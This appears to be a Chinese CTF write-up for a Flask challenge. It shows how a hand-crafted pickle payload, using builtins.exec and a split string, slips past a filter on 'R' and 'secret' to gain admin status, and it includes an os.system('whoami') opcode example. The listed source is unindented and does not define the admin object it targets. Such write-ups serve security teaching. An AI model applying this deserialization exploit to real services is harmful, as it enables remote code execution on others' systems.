crash
源码
首页给出源码
import base64
import pickle
from flask import Flask, make_response,request, session
import random
app = Flask(__name__,static_url_path='')
app.secret_key=random.randbytes(12)
class User:
def __init__(self, username,password):
self.username=username
self.token=hash(password)
def get_password(username):
if username=="admin":
return '123'
else:
return session.get("password")
@app.route('/balancer', methods=['GET', 'POST'])
def flag():
pickle_data=base64.b64decode(request.cookies.get("userdata"))
if b'R' in pickle_data or b"secret" in pickle_data:
return "You damm hacker!"
userdata=pickle.loads(pickle_data)
if userdata.token!=hash(get_password(userdata.username)):
return "Login First"
if userdata.username=='admin':
return "Welcome admin, here is your next challenge!"
return "You're not admin!"
@app.route('/login', methods=['GET', 'POST'])
def login():
resp = make_response("success")
session["password"]=request.values.get("password")
resp.set_cookie("userdata", base64.b64encode(pickle.dumps(User(request.values.get("username"),request.values.get("password")),2)), max_age=3600)
return resp
@app.route('/', methods=['GET', 'POST'])
def index():
return 'hello world'
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
根据代码意思,首先访问/login?username=1&password=1
,登录成功,写入session。
然后访问/balancer
,提示不是admin。很明显,需要构造admin身份。
题解
主要是pickle的反序列化,由于检测R
和secret
,没办法直接构造序列化字符串。
序列化类中带有
__reduce__
函数的话,输出末位会有个R
序列化实际上是转换成pvm
操作码。
在P神Code-Breaking中的两个Python沙箱一文中有手搓pickle序列化代码的具体介绍。
c<module>
<callable>
(<args>
tR.
例如字节码__import__('os').system(*('whoami',))
,会被转换成
cos
system
(S'whoami'
tR.
cos => 引入模块 os.
system => 引用 system, 并将其添加到 stack.
(S'whoami' => 把当前 stack 存到 metastack, 清空 stack, 再将 'whoami' 压入 stack.
t => stack 中的值弹出并转为 tuple, 把 metastack 还原到 stack, 再将 tuple 压入 stack.
R => system(*('whoami',))
. => 结束并返回当前栈顶元素.
大概思路就是:先反序列化修改admin.secret,再/login
->/balancer
。
首先根据文章手搓一个序列化代码,再进行base64编码。
import base64
poc = b'''(cbuiltins
exec
S'c="global admin;admin.s"+"ecret='1'";exec(c)'
o.
'''
print(base64.b64encode(poc))
#OUTPUT: KGNidWlsdGlucwpleGVjClMnYz0iZ2xvYmFsIGFkbWluO2FkbWluLnMiKyJlY3JldD0nMSciO2V4ZWMoYyknCm8uCg==
访问/balancer
,将POC结果输入到cookie里的userdata字段,刷新,这里会爆500,本地复现可以发现有报错,但不影响,反序列化还是成功了。
然后访问/login?username=admin&password=1
,更新了session和userdata,再访问/balancer
最后访问到负载均衡,这里随便打点IP点个数字,点一下出flag,结束。